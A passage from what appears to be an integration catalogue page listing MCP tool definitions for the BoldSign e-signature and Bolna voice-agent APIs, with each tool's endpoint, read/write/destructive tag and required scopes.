/v1/contactGroups/delete DELETE /api/v1/boldsign/v1/contactGroups/delete. Scopes: BoldSign.Documents.All. boldsign_delete_v1_contacts_delete (write, destructive) — Permanently delete one saved contact by id via DELETE /v1/contacts/delete DELETE /api/v1/boldsign/v1/contacts/delete. Scopes: BoldSign.Documents.All. boldsign_delete_v1_customfield_delete (write, destructive) — Permanently delete one reusable custom field by id via DELETE /v1/customField/delete DELETE /api/v1/boldsign/v1/customField/delete. Scopes: BoldSign.Documents.All. boldsign_delete_v1_document_delete (write, destructive) — Move a document to the bin, or -- with deletePermanently -- destroy it outright, which cannot be undone via DELETE /v1/document/delete DELETE /api/v1/boldsign/v1/document/delete. Scopes: BoldSign.Documents.Delete. boldsign_delete_v1_document_deletetags (write, destructive) — Detach labels from one or more documents. The documents themselves are untouched via DELETE /v1/document/deleteTags DELETE /api/v1/boldsign/v1/document/deleteTags. Scopes: BoldSign.Documents.Delete. boldsign_delete_v1_senderidentities_delete (write, destructive) — Permanently remove a sender identity. The account can no longer send from that address via DELETE /v1/senderIdentities/delete DELETE /api/v1/boldsign/v1/senderIdentities/delete. Scopes: BoldSign.SenderIdentity.Delete. boldsign_delete_v1_template_delete (write, destructive) — Permanently delete one template by id. Documents already sent from it are untouched via DELETE /v1/template/delete DELETE /api/v1/boldsign/v1/template/delete. Scopes: BoldSign.Templates.Delete. boldsign_delete_v1_template_deletetags (write, destructive) — Detach labels from one or more templates. The templates themselves are untouched via DELETE /v1/template/deleteTags DELETE /api/v1/boldsign/v1/template/deleteTags. Scopes: BoldSign.Templates.Delete. boldsign_get_v1_brand_get (read) — Read one branding profile -- its name, logo, colours, sender email and the flags that decide what a signer sees -- by brand id via GET /v1/brand/get GET /api/v1/boldsign/v1/brand/get. Scopes: BoldSign.Documents.All. boldsign_get_v1_brand_list (read) — List the account's branding profiles, one page at a time via GET /v1/brand/list GET /api/v1/boldsign/v1/brand/list. Scopes: BoldSign.Documents.All. boldsign_get_v1_contactgroups_get (read) — Read one contact group and its members by id via GET /v1/contactGroups/get GET /api/v1/boldsign/v1/contactGroups/get. Scopes: BoldSign.Documents.All. boldsign_get_v1_contactgroups_list (read) — List the account's contact groups, one page at a time via GET /v1/contactGroups/list GET /api/v1/boldsign/v1/contactGroups/list. Scopes: BoldSign.Documents.All. boldsign_get_v1_contacts_get (read) — Read one saved contact by id via GET /v1/contacts/get GET /api/v1/boldsign/v1/contacts/get. Scopes: BoldSign.Documents.All. boldsign_get_v1_contacts_list (read) — List the account's saved contacts, filtered by contact type and search text, one page at a time via GET /v1/contacts/list GET /api/v1/boldsign/v1/contacts/list. Scopes: BoldSign.Documents.All. boldsign_get_v1_customfield_list (read) — List the reusable custom fields defined under one brand via GET /v1/customField/list GET /api/v1/boldsign/v1/customField/list. Scopes: BoldSign.Documents.All. boldsign_get_v1_document_behalflist (read) — List the signature requests this credential sent on another user's behalf via GET /v1/document/behalfList GET /api/v1/boldsign/v1/document/behalfList. Scopes: BoldSign.Documents.All. boldsign_get_v1_document_download (read) — Fetch the document's PDF. BoldSign answers with the FILE ITSELF, so Agentic Fabriq returns its content type, size, filename and -- only while it fits the inline bound -- its base64 bytes, never a truncated prefix via GET /v1/document/download GET /api/v1/boldsign/v1/document/download. Scopes: BoldSign.Documents.All. boldsign_get_v1_document_downloadattachment (read) — Fetch one file a signer attached to a document. BoldSign answers with the FILE ITSELF, returned as bounded base64 or, over the bound, as metadata naming its size via GET /v1/document/downloadAttachment GET /api/v1/boldsign/v1/document/downloadAttachment. Scopes: BoldSign.Documents.All. boldsign_get_v1_document_downloadauditlog (read) — Fetch the document's certificate of completion -- who did what, when and from where. BoldSign answers with the FILE ITSELF, returned as bounded base64 or, over the bound, as metadata naming its size via GET /v1/document/downloadAuditLog GET /api/v1/boldsign/v1/document/downloadAuditLog. Scopes: BoldSign.Documents.All. boldsign_get_v1_document_getembeddedsignlink (read) — Mint a short-lived signing URL for one signer, to embed BoldSign's signing page in your product. The URL is a credential: whoever opens it can sign as that person via GET /v1/document/getEmbeddedSignLink GET /api/v1/boldsign/v1/document/getEmbeddedSignLink. Scopes: BoldSign.Documents.All. boldsign_get_v1_document_list (read) — List the signature requests this credential can see, filtered by status, sender, recipient, date range, labels and brand, one page at a time via GET /v1/document/list GET /api/v1/boldsign/v1/document/list. Scopes: BoldSign.Documents.All. boldsign_get_v1_document_properties (read) — Read everything BoldSign records about one signature request: its status, every signer and their state, the form fields, reminders, expiry, labels and audit-relevant timestamps via GET /v1/document/properties GET /api/v1/boldsign/v1/document/properties. Scopes: BoldSign.Documents.All. boldsign_get_v1_document_teamlist (read) — List the signature requests belonging to one or more teams, with the same filters as the account listing via GET /v1/document/teamlist GET /api/v1/boldsign/v1/document/teamlist. Scopes: BoldSign.Documents.All. boldsign_get_v1_plan_apicreditscount (read) — Read how many API credits the account has left. Sending documents spends them via GET /v1/plan/apiCreditsCount GET /api/v1/boldsign/v1/plan/apiCreditsCount. Scopes: BoldSign.Documents.All. boldsign_get_v1_senderidentities_list (read) — List the addresses the account may send from and the state of each request, one page at a time via GET /v1/senderIdentities/list GET /api/v1/boldsign/v1/senderIdentities/list. Scopes: BoldSign.SenderIdentity.Read. boldsign_get_v1_senderidentities_properties (read) — Read one sender identity by email address, including its approval state via GET /v1/senderIdentities/properties GET /api/v1/boldsign/v1/senderIdentities/properties. Scopes: BoldSign.SenderIdentity.Read. boldsign_get_v1_teams_get (read) — Read one team by id, including its members via GET /v1/teams/get GET /api/v1/boldsign/v1/teams/get. Scopes: BoldSign.Teams.Read. boldsign_get_v1_teams_list (read) — List the account's teams, one page at a time via GET /v1/teams/list GET /api/v1/boldsign/v1/teams/list. Scopes: BoldSign.Teams.Read. boldsign_get_v1_template_download (read) — Fetch the template's PDF. BoldSign answers with the FILE ITSELF, returned as bounded base64 or, over the bound, as metadata naming its size via GET /v1/template/download GET /api/v1/boldsign/v1/template/download. Scopes: BoldSign.Templates.Read. boldsign_get_v1_template_list (read) — List the templates this credential can see, filtered by type, labels, brand and search text, one page at a time via GET /v1/template/list GET /api/v1/boldsign/v1/template/list. Scopes: BoldSign.Templates.Read. boldsign_get_v1_template_properties (read) — Read everything BoldSign records about one template: its roles, form fields, default message, labels and sharing via GET /v1/template/properties GET /api/v1/boldsign/v1/template/properties. Scopes: BoldSign.Templates.Read. boldsign_get_v1_users_get (read) — Read one account user by id, including their email address, role and team via GET /v1/users/get GET /api/v1/boldsign/v1/users/get. Scopes: BoldSign.Users.Read. boldsign_get_v1_users_list (read) — List the people on the account with their roles, teams and state, one page at a time. This returns their email addresses via GET /v1/users/list GET /api/v1/boldsign/v1/users/list. Scopes: BoldSign.Users.Read. boldsign_patch_v1_document_addauthentication (write) — Require an extra identity check -- access code, email OTP, SMS or ID verification -- before a signer can open the document via PATCH /v1/document/addAuthentication PATCH /api/v1/boldsign/v1/document/addAuthentication. Scopes: BoldSign.Documents.Write. boldsign_patch_v1_document_addtags (write) — Attach labels to one or more documents so they can be found and filtered later via PATCH /v1/document/addTags PATCH /api/v1/boldsign/v1/document/addTags. Scopes: BoldSign.Documents.Write. boldsign_patch_v1_document_changeaccesscode (write) — Replace the access code one signer must type before the document opens via PATCH /v1/document/changeAccessCode PATCH /api/v1/boldsign/v1/document/changeAccessCode. Scopes: BoldSign.Documents.Write. boldsign_patch_v1_document_changerecipient (write) — Redirect an in-flight signature request to a different person, with a reason recorded in the audit trail via PATCH /v1/document/changeRecipient PATCH /api/v1/boldsign/v1/document/changeRecipient. Scopes: BoldSign.Documents.Write. boldsign_patch_v1_document_extendexpiry (write) — Push out the date an in-flight signature request stops accepting signatures via PATCH /v1/document/extendExpiry PATCH /api/v1/boldsign/v1/document/extendExpiry. Scopes: BoldSign.Documents.Write. boldsign_patch_v1_document_prefillfields (write) — Write values into a document's form fields before the signer opens it via PATCH /v1/document/prefillFields PATCH /api/v1/boldsign/v1/document/prefillFields. Scopes: BoldSign.Documents.Write. boldsign_patch_v1_document_removeauthentication (write) — Drop the extra identity check (access code, email OTP, SMS or ID verification) a signer had to pass before opening the document via PATCH /v1/document/RemoveAuthentication PATCH /api/v1/boldsign/v1/document/RemoveAuthentication. Scopes: BoldSign.Documents.Write. boldsign_patch_v1_template_addtags (write) — Attach labels to one or more templates so they can be found and filtered later via PATCH /v1/template/addTags PATCH /api/v1/boldsign/v1/template/addTags. Scopes: BoldSign.Templates.Write. boldsign_patch_v1_template_share (write) — Change who may use a template -- the whole account, named teams, or its owner alone via PATCH /v1/template/share PATCH /api/v1/boldsign/v1/template/share. Scopes: BoldSign.Templates.Write. boldsign_post_v1_brand_resetdefault (write) — Set which branding profile new documents use when none is named via POST /v1/brand/resetdefault POST /api/v1/boldsign/v1/brand/resetdefault. Scopes: BoldSign.Documents.All. boldsign_post_v1_contactgroups_create (write) — Create a named group of contacts that can be addressed as one recipient set via POST /v1/contactGroups/create POST /api/v1/boldsign/v1/contactGroups/create. Scopes: BoldSign.Documents.All. boldsign_post_v1_contacts_create (write) — Add one or more contacts to the address book. The body is an ARRAY of contacts, each needing at least a name and an email address via POST /v1/contacts/create POST /api/v1/boldsign/v1/contacts/create. Scopes: BoldSign.Documents.All. boldsign_post_v1_customfield_create (write) — Define a reusable form field -- its type, validation, default value and appearance -- that can be dropped onto any document or template via POST /v1/customField/create POST /api/v1/boldsign/v1/customField/create. Scopes: BoldSign.Documents.All. boldsign_post_v1_customfield_createembeddedcustomfieldurl (write) — Mint a short-lived URL that embeds BoldSign's own custom-field editor in your product. The URL is a credential: anyone holding it can edit the brand's custom fields until it expires via POST /v1/customField/createEmbeddedCustomFieldUrl POST /api/v1/boldsign/v1/customField/createEmbeddedCustomFieldUrl. Scopes: BoldSign.Documents.All. boldsign_post_v1_customfield_edit (write) — Change a reusable custom field's definition. Documents already sent keep the definition they were sent with via POST /v1/customField/edit POST /api/v1/boldsign/v1/customField/edit. Scopes: BoldSign.Documents.All. boldsign_post_v1_document_cancelediting (write) — Release the edit lock an embedded editor session took on a document via POST /v1/document/cancelEditing POST /api/v1/boldsign/v1/document/cancelEditing. Scopes: BoldSign.Documents.Write. boldsign_post_v1_document_createembeddedcloneurl (write) — Mint a short-lived URL that embeds BoldSign's prepare page pre-filled from an existing document, so a new request can be sent from it via POST /v1/document/createEmbeddedCloneUrl POST /api/v1/boldsign/v1/document/createEmbeddedCloneUrl. Scopes: BoldSign.Documents.Create. boldsign_post_v1_document_createembeddedediturl (write) — Mint a short-lived URL that embeds BoldSign's editor for an existing draft document. The URL is a credential for that document via POST /v1/document/createEmbeddedEditUrl POST /api/v1/boldsign/v1/document/createEmbeddedEditUrl. Scopes: BoldSign.Documents.Write. boldsign_post_v1_document_createembeddedrequesturl (write) — Create a signature request and return a short-lived URL that embeds BoldSign's own prepare-and-send page in your product. The URL is a credential for that document via POST /v1/document/createEmbeddedRequestUrl POST /api/v1/boldsign/v1/document/createEmbeddedRequestUrl. Scopes: BoldSign.Documents.Create. boldsign_post_v1_document_draftsend (write) — Send a document that is still a draft. Every signer is emailed immediately via POST /v1/document/draftSend POST /api/v1/boldsign/v1/document/draftSend. Scopes: BoldSign.Documents.Create. boldsign_post_v1_document_remind (write) — Email a reminder to the signers who have not yet acted. This sends real mail to real people via POST /v1/document/remind POST /api/v1/boldsign/v1/document/remind. Scopes: BoldSign.Documents.Write. boldsign_post_v1_document_revoke (write) — Stop an in-flight signature request. Signers who have not finished can no longer sign, and the reason given is shown to them via POST /v1/document/revoke POST /api/v1/boldsign/v1/document/revoke. Scopes: BoldSign.Documents.Write. boldsign_post_v1_document_send (write) — Create a signature request from uploaded files or file URLs and SEND IT -- every signer is emailed immediately unless the request is scheduled or disabled via POST /v1/document/send POST /api/v1/boldsign/v1/document/send. Scopes: BoldSign.Documents.Create. boldsign_post_v1_identityverification_createembeddedverificationurl (write) — Mint a short-lived URL that embeds BoldSign's identity-verification flow for one signer in your product via POST /v1/identityVerification/createEmbeddedVerificationUrl POST /api/v1/boldsign/v1/identityVerification/createEmbeddedVerificationUrl. Scopes: BoldSign.Documents.All. boldsign_post_v1_identityverification_image (write) — Fetch an image captured during identity verification -- a selfie or a photo of an identity document. BoldSign answers with the FILE ITSELF, returned as bounded base64. This is personal identity data via POST /v1/identityVerification/image POST /api/v1/boldsign/v1/identityVerification/image. Scopes: BoldSign.Documents.All. boldsign_post_v1_identityverification_report (write) — Read the identity-verification result for one signer: the document they presented, the checks that ran and what each returned. This is personal identity data via POST /v1/identityVerification/report POST /api/v1/boldsign/v1/identityVerification/report. Scopes: BoldSign.Documents.All. boldsign_post_v1_senderidentities_create (write) — Ask a person to let the account send documents from their email address. BoldSign emails them a request they must approve via POST /v1/senderIdentities/create POST /api/v1/boldsign/v1/senderIdentities/create. Scopes: BoldSign.SenderIdentity.Create. boldsign_post_v1_senderidentities_rerequest (write) — Ask again after a sender identity was declined or revoked. This sends real mail to a real person via POST /v1/senderIdentities/rerequest POST /api/v1/boldsign/v1/senderIdentities/rerequest. Scopes: BoldSign.SenderIdentity.Write. boldsign_post_v1_senderidentities_resendinvitation (write) — Email the approval request again to a sender identity that has not responded. This sends real mail to a real person via POST /v1/senderIdentities/resendInvitation POST /api/v1/boldsign/v1/senderIdentities/resendInvitation. Scopes: BoldSign.SenderIdentity.Write. boldsign_post_v1_senderidentities_update (write) — Change the display name or redirect address on a sender identity via POST /v1/senderIdentities/update POST /api/v1/boldsign/v1/senderIdentities/update. Scopes: BoldSign.SenderIdentity.Write. boldsign_post_v1_teams_create (write) — Create a team so documents and templates can be shared within it via POST /v1/teams/create POST /api/v1/boldsign/v1/teams/create. Scopes: BoldSign.Teams.Write. boldsign_post_v1_template_create (write) — Create a reusable template from uploaded files or file URLs, with its roles, fields and default message via POST /v1/template/create POST /api/v1/boldsign/v1/template/create. Scopes: BoldSign.Templates.Create. boldsign_post_v1_template_createembeddedcloneurl (write) — Mint a short-lived URL that embeds BoldSign's template builder pre-filled from an existing template, so a copy can be built from it via POST /v1/template/createEmbeddedCloneUrl POST /api/v1/boldsign/v1/template/createEmbeddedCloneUrl. Scopes: BoldSign.Templates.Create. boldsign_post_v1_template_createembeddedpreviewurl (write) — Mint a short-lived URL that embeds a read-only preview of a template in your product via POST /v1/template/createEmbeddedPreviewUrl POST /api/v1/boldsign/v1/template/createEmbeddedPreviewUrl. Scopes: BoldSign.Templates.Read. boldsign_post_v1_template_createembeddedrequesturl (write) — Create a signature request from a template and return a short-lived URL that embeds BoldSign's prepare-and-send page in your product via POST /v1/template/createEmbeddedRequestUrl POST /api/v1/boldsign/v1/template/createEmbeddedRequestUrl. Scopes: BoldSign.Documents.Create, BoldSign.Templates.Read. boldsign_post_v1_template_createembeddedtemplateurl (write) — Mint a short-lived URL that embeds BoldSign's template builder in your product so a new template can be built there via POST /v1/template/createEmbeddedTemplateUrl POST /api/v1/boldsign/v1/template/createEmbeddedTemplateUrl. Scopes: BoldSign.Templates.Create. boldsign_post_v1_template_getembeddedtemplateediturl (write) — Mint a short-lived URL that embeds BoldSign's template builder for an existing template. The URL is a credential for that template via POST /v1/template/getEmbeddedTemplateEditUrl POST /api/v1/boldsign/v1/template/getEmbeddedTemplateEditUrl. Scopes: BoldSign.Templates.Write. boldsign_post_v1_template_mergeandsend (write) — Combine several templates into one signature request and SEND IT. Every signer is emailed immediately via POST /v1/template/mergeAndSend POST /api/v1/boldsign/v1/template/mergeAndSend. Scopes: BoldSign.Documents.Create, BoldSign.Templates.Read. boldsign_post_v1_template_mergecreateembeddedrequesturl (write) — Combine several templates into one signature request and return a short-lived URL that embeds BoldSign's prepare-and-send page via POST /v1/template/mergeCreateEmbeddedRequestUrl POST /api/v1/boldsign/v1/template/mergeCreateEmbeddedRequestUrl. Scopes: BoldSign.Documents.Create, BoldSign.Templates.Read. boldsign_post_v1_template_send (write) — Create a signature request from a template and SEND IT -- every signer is emailed immediately unless the request is scheduled or disabled via POST /v1/template/send POST /api/v1/boldsign/v1/template/send. Scopes: BoldSign.Documents.Create, BoldSign.Templates.Read. boldsign_post_v1_users_cancelinvitation (write) — Withdraw an invitation that has not been accepted via POST /v1/users/cancelInvitation POST /api/v1/boldsign/v1/users/cancelInvitation. Scopes: BoldSign.Users.Write. boldsign_post_v1_users_create (write) — Invite a person to the BoldSign account with a role and an optional team. BoldSign emails them an invitation via POST /v1/users/create POST /api/v1/boldsign/v1/users/create. Scopes: BoldSign.Users.Write. boldsign_post_v1_users_resendinvitation (write) — Email the account invitation again to a user who has not accepted. This sends real mail to a real person via POST /v1/users/resendInvitation POST /api/v1/boldsign/v1/users/resendInvitation. Scopes: BoldSign.Users.Write. boldsign_put_v1_contactgroups_update (write) — Replace a contact group's name and membership via PUT /v1/contactGroups/update PUT /api/v1/boldsign/v1/contactGroups/update. Scopes: BoldSign.Documents.All. boldsign_put_v1_contacts_update (write) — Replace one saved contact's name, email, company, job title and phone number via PUT /v1/contacts/update PUT /api/v1/boldsign/v1/contacts/update. Scopes: BoldSign.Documents.All. boldsign_put_v1_document_edit (write) — Replace a draft document's files, signers, fields, message, expiry and reminder settings via PUT /v1/document/edit PUT /api/v1/boldsign/v1/document/edit. Scopes: BoldSign.Documents.Write. boldsign_put_v1_teams_update (write) — Change a team's name via PUT /v1/teams/update PUT /api/v1/boldsign/v1/teams/update. Scopes: BoldSign.Teams.Write. boldsign_put_v1_template_edit (write) — Replace a template's files, roles, fields, message and settings via PUT /v1/template/edit PUT /api/v1/boldsign/v1/template/edit. Scopes: BoldSign.Templates.Write. boldsign_put_v1_users_changeteam (write) — Change which team a user belongs to via PUT /v1/users/changeTeam PUT /api/v1/boldsign/v1/users/changeTeam. Scopes: BoldSign.Users.Write. boldsign_put_v1_users_update (write) — Change a user's name, role, team or active state via PUT /v1/users/update PUT /api/v1/boldsign/v1/users/update. Scopes: BoldSign.Users.Write. boldsign_put_v1_users_updatemetadata (write) — Write the account-level metadata BoldSign keeps beside a user record via PUT /v1/users/updateMetaData PUT /api/v1/boldsign/v1/users/updateMetaData. Scopes: BoldSign.Users.Write. ================================================================================ ## Bolna URL: https://www.agenticfabriq.com/integrations/bolna Section: Integrated Tools Bolna — 96 MCP tools Provider key: bolna. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bolna_delete_batches_by_batch_id (write, destructive) — Delete a batch. via DELETE /batches/{batch_id} DELETE /api/v1/bolna/batches/{batch_id}. Scopes: api. bolna_delete_dispositions_by_disposition_id (write, destructive) — Permanently delete a disposition and remove its link to any associated agents. Regular users can only delete dispositions they own (`created_by` matches their user ID). Admins can delete any disposition. Historical call execution results already containing this disposition's output are not affected — only future calls will stop evaluating it. Deleting a category's last disposition also deletes the category itself. via DELETE /dispositions/{disposition_id} DELETE /api/v1/bolna/dispositions/{disposition_id}. Scopes: api. bolna_delete_extraction_categories_by_category_id (write, destructive) — Delete an extraction category. The category owns its dispositions, so this deletes the category **and all of its dispositions**, and detaches the category from the agent. Historical call execution results that already contain output from this category's dispositions are not affected — only future calls stop evaluating them. via DELETE /extraction-categories/{category_id} DELETE /api/v1/bolna/extraction-categories/{category_id}. Scopes: api. bolna_delete_extractions_by_template_id (write, destructive) — Delete an extraction template (Admin only). via DELETE /extractions/{template_id} DELETE /api/v1/bolna/extractions/{template_id}. Scopes: api. bolna_delete_knowledgebase_by_rag_id (write, destructive) — Delete a knowledgebase. via DELETE /knowledgebase/{rag_id} DELETE /api/v1/bolna/knowledgebase/{rag_id}. Scopes: api. bolna_delete_phone_numbers_by_phone_number_id (write, destructive) — Delete a batch. Releases a purchased phone number permanently. (Bolna's own description of this operation reads 'Delete a batch'; the path deletes a phone number.) via DELETE /phone-numbers/{phone_number_id} DELETE /api/v1/bolna/phone-numbers/{phone_number_id}. Scopes: api. bolna_delete_providers_by_provider_key_name (write, destructive) — Remove provider. via DELETE /providers/{provider_key_name} DELETE /api/v1/bolna/providers/{provider_key_name}. Scopes: api. bolna_delete_sip_trunks_trunks_by_trunk_id (write, destructive) — Permanently delete a SIP trunk and all associated resources (gateways, IP identifiers, phone numbers). via DELETE /sip-trunks/trunks/{trunk_id} DELETE /api/v1/bolna/sip-trunks/trunks/{trunk_id}. Scopes: api. bolna_delete_sip_trunks_trunks_by_trunk_id_numbers_by_phone_number_id (write, destructive) — Remove a phone number from a SIP trunk. If the number was mapped to an agent, the mapping is also removed. via DELETE /sip-trunks/trunks/{trunk_id}/numbers/{phone_number_id} DELETE /api/v1/bolna/sip-trunks/trunks/{trunk_id}/numbers/{phone_number_id}. Scopes: api. bolna_delete_sub_accounts_by_sub_account_id (write, destructive) — Delete a sub-account. via DELETE /sub-accounts/{sub_account_id} DELETE /api/v1/bolna/sub-accounts/{sub_account_id}. Scopes: api. bolna_delete_user_model_custom_by_model_id (write, destructive) — Delete a custom LLM Model along with its stored key. via DELETE /user/model/custom/{model_id} DELETE /api/v1/bolna/user/model/custom/{model_id}. Scopes: api. bolna_delete_v2_agent_by_agent_id (write, destructive) — Delete an agent. via DELETE /v2/agent/{agent_id} DELETE /api/v1/bolna/v2/agent/{agent_id}. Scopes: api. bolna_delete_workflow_campaigns_by_campaign_id (write, destructive) — Deletes a campaign. Only legal on a `draft` campaign with no entries and no executions. via DELETE /workflow-campaigns/{campaign_id} DELETE /api/v1/bolna/workflow-campaigns/{campaign_id}. Scopes: api. bolna_delete_workflows_by_workflow_id (write, destructive) — Soft-deletes a workflow. Existing campaigns and executions are preserved for reporting. via DELETE /workflows/{workflow_id} DELETE /api/v1/bolna/workflows/{workflow_id}. Scopes: api. bolna_get_agent_by_agent_id_execution_by_execution_id (read) — Retrieve specific execution by an agent. via GET /agent/{agent_id}/execution/{execution_id} GET /api/v1/bolna/agent/{agent_id}/execution/{execution_id}. Scopes: api. bolna_get_agent_by_agent_id_executions (read) — Retrieve all executions by an agent. via GET /agent/{agent_id}/executions GET /api/v1/bolna/agent/{agent_id}/executions. Scopes: api. bolna_get_agent_by_agent_id_extraction_categories (read) — List the extraction categories attached to an agent. Each category is returned with the dispositions it owns. via GET /agent/{agent_id}/extraction-categories GET /api/v1/bolna/agent/{agent_id}/extraction-categories. Scopes: api. bolna_get_api_v1_voice_config_tts (read) — Returns all TTS providers with their supported models for a given language. Use this to discover available providers and their model IDs before fetching voices. via GET /api/v1/voice-config/tts GET /api/v1/bolna/api/v1/voice-config/tts. Scopes: api. bolna_get_api_v1_voice_config_tts_voices (read) — Returns a paginated list of voices available for a specific TTS provider and model. Voices include both platform-curated voices and any custom voices created by your account. via GET /api/v1/voice-config/tts/voices GET /api/v1/bolna/api/v1/voice-config/tts/voices. Scopes: api. bolna_get_batches_by_agent_id_all (read) — List all batches for agent. via GET /batches/{agent_id}/all GET /api/v1/bolna/batches/{agent_id}/all. Scopes: api. bolna_get_batches_by_batch_id (read) — Retrieve a batch. via GET /batches/{batch_id} GET /api/v1/bolna/batches/{batch_id}. Scopes: api. bolna_get_batches_by_batch_id_executions (read) — Retrieve all executions from a batch. Returns a bare JSON array of execution objects (not wrapped in a `data` key). via GET /batches/{batch_id}/executions GET /api/v1/bolna/batches/{batch_id}/executions. Scopes: api. bolna_get_dispositions (read) — List dispositions accessible to your account. When `agent_id` is provided, only dispositions linked to that agent are returned; otherwise all dispositions you own are returned. via GET /dispositions/ GET /api/v1/bolna/dispositions. Scopes: api. bolna_get_dispositions_by_disposition_id (read) — Retrieve a single disposition by ID, optionally scoped to a specific agent. via GET /dispositions/{disposition_id} GET /api/v1/bolna/dispositions/{disposition_id}. Scopes: api. bolna_get_executions_by_execution_id (read) — Retrieve specific execution by `execution_id`. via GET /executions/{execution_id} GET /api/v1/bolna/executions/{execution_id}. Scopes: api. bolna_get_executions_by_execution_id_log (read) — Retrieve raw logs of specific `execution_id`. via GET /executions/{execution_id}/log GET /api/v1/bolna/executions/{execution_id}/log. Scopes: api. bolna_get_extractions (read) — List all extraction templates. via GET /extractions/ GET /api/v1/bolna/extractions. Scopes: api. bolna_get_extractions_by_template_id (read) — Get a specific extraction template. via GET /extractions/{template_id} GET /api/v1/bolna/extractions/{template_id}. Scopes: api. bolna_get_knowledgebase_all (read) — List all knowledgebases for your account. via GET /knowledgebase/all GET /api/v1/bolna/knowledgebase/all. Scopes: api. bolna_get_knowledgebase_by_rag_id (read) — Retrieve a knowledgebase. via GET /knowledgebase/{rag_id} GET /api/v1/bolna/knowledgebase/{rag_id}. Scopes: api. bolna_get_phone_numbers_all (read) — List all phone numbers for your account. via GET /phone-numbers/all GET /api/v1/bolna/phone-numbers/all. Scopes: api. bolna_get_phone_numbers_search (read) — Search available phone numbers by country and pattern. via GET /phone-numbers/search GET /api/v1/bolna/phone-numbers/search. Scopes: api. bolna_get_providers (read) — List all providers. via GET /providers GET /api/v1/bolna/providers. Scopes: api. bolna_get_sip_trunks_trunks (read) — List all SIP trunks for your account. via GET /sip-trunks/trunks GET /api/v1/bolna/sip-trunks/trunks. Scopes: api. bolna_get_sip_trunks_trunks_by_trunk_id (read) — Get a single SIP trunk with full details including gateways, IP identifiers, and phone numbers. via GET /sip-trunks/trunks/{trunk_id} GET /api/v1/bolna/sip-trunks/trunks/{trunk_id}. Scopes: api. bolna_get_sip_trunks_trunks_by_trunk_id_numbers (read) — List all phone numbers associated with a SIP trunk. via GET /sip-trunks/trunks/{trunk_id}/numbers GET /api/v1/bolna/sip-trunks/trunks/{trunk_id}/numbers. Scopes: api. bolna_get_sub_accounts_all (read) — List all sub-accounts. via GET /sub-accounts/all GET /api/v1/bolna/sub-accounts/all. Scopes: api. bolna_get_sub_accounts_all_usage (read) — Retrieve usage details for all sub-accounts under the authenticated organization for up to 32 days. via GET /sub-accounts/all/usage GET /api/v1/bolna/sub-accounts/all/usage. Scopes: api. bolna_get_sub_accounts_by_sub_account_id_usage (read) — Track usage for the sub-account upto 32 days. via GET /sub-accounts/{sub_account_id}/usage GET /api/v1/bolna/sub-accounts/{sub_account_id}/usage. Scopes: api. bolna_get_user_me (read) — Get user information. via GET /user/me GET /api/v1/bolna/user/me. Scopes: api. bolna_get_user_model_custom (read) — List your custom LLM models. via GET /user/model/custom GET /api/v1/bolna/user/model/custom. Scopes: api. bolna_get_v2_agent_all (read) — List all agents. via GET /v2/agent/all GET /api/v1/bolna/v2/agent/all. Scopes: api. bolna_get_v2_agent_by_agent_id (read) — Retrieve an agent. via GET /v2/agent/{agent_id} GET /api/v1/bolna/v2/agent/{agent_id}. Scopes: api. bolna_get_v2_agent_by_agent_id_executions (read) — Retrieve all executions by an agent. via GET /v2/agent/{agent_id}/executions GET /api/v1/bolna/v2/agent/{agent_id}/executions. Scopes: api. bolna_get_v2_batches_by_batch_id_executions (read) — Retrieve all executions from a batch with pagination support. via GET /v2/batches/{batch_id}/executions GET /api/v1/bolna/v2/batches/{batch_id}/executions. Scopes: api. bolna_get_violations_list (read) — Retrieve a paginated list of violations, optionally filtered by status. via GET /violations/list GET /api/v1/bolna/violations/list. Scopes: api. bolna_get_workflow_campaigns (read) — Lists campaigns, newest first by default. via GET /workflow-campaigns GET /api/v1/bolna/workflow-campaigns. Scopes: api. bolna_get_workflow_campaigns_by_campaign_id (read) — Retrieves a campaign with a count of entries per status and per-code counts of upload validation failures. via GET /workflow-campaigns/{campaign_id} GET /api/v1/bolna/workflow-campaigns/{campaign_id}. Scopes: api. bolna_get_workflow_campaigns_by_campaign_id_entries (read) — Lists a campaign's entries, including `failed_validation` rows with their failure code in `validation_error`. via GET /workflow-campaigns/{campaign_id}/entries GET /api/v1/bolna/workflow-campaigns/{campaign_id}/entries. Scopes: api. bolna_get_workflow_campaigns_by_campaign_id_entries_template (read) — Returns a one-line CSV header naming the fields the campaign's pinned version declares, in author order — the exact header an entries upload expects. Falls back to the four system fields when the version declares no schema. The CSV text is returned as {'raw': ''}. via GET /workflow-campaigns/{campaign_id}/entries/template GET /api/v1/bolna/workflow-campaigns/{campaign_id}/entries/template. Scopes: api. bolna_get_workflow_campaigns_by_campaign_id_executions (read) — Lists a campaign's executions. Poll after starting a campaign to watch contacts progress. via GET /workflow-campaigns/{campaign_id}/executions GET /api/v1/bolna/workflow-campaigns/{campaign_id}/executions. Scopes: api. bolna_get_workflow_campaigns_by_campaign_id_report (read) — Aggregated campaign report — execution counts by status, termination reasons, and a per-node funnel keyed by the node ids in your definition. via GET /workflow-campaigns/{campaign_id}/report GET /api/v1/bolna/workflow-campaigns/{campaign_id}/report. Scopes: api. bolna_get_workflow_executions_by_execution_id (read) — The whole story of one contact's run — status, every node attempt with the edge it took, and the most recent timeline events. Poll until `status` is terminal (`completed`, `failed`, `cancelled` or `aborted`). via GET /workflow-executions/{execution_id} GET /api/v1/bolna/workflow-executions/{execution_id}. Scopes: api. bolna_get_workflow_node_types (read) — Lists every node type with its configuration parameters, defaults and bounds, plus the available variable namespaces and effects. Node types without an executor are returned with `available` set to `false` rather than omitted. via GET /workflow-node-types GET /api/v1/bolna/workflow-node-types. Scopes: api. bolna_get_workflows (read) — Lists your workflows, newest first. via GET /workflows GET /api/v1/bolna/workflows. Scopes: api. bolna_get_workflows_by_workflow_id (read) — Retrieves a workflow with its draft metadata and the metadata of every published version, including per-version campaign and outcome totals. via GET /workflows/{workflow_id} GET /api/v1/bolna/workflows/{workflow_id}. Scopes: api. bolna_get_workflows_by_workflow_id_draft (read) — Reads the stored draft definition and its current revision. Use it to resync the revision before a save. via GET /workflows/{workflow_id}/draft GET 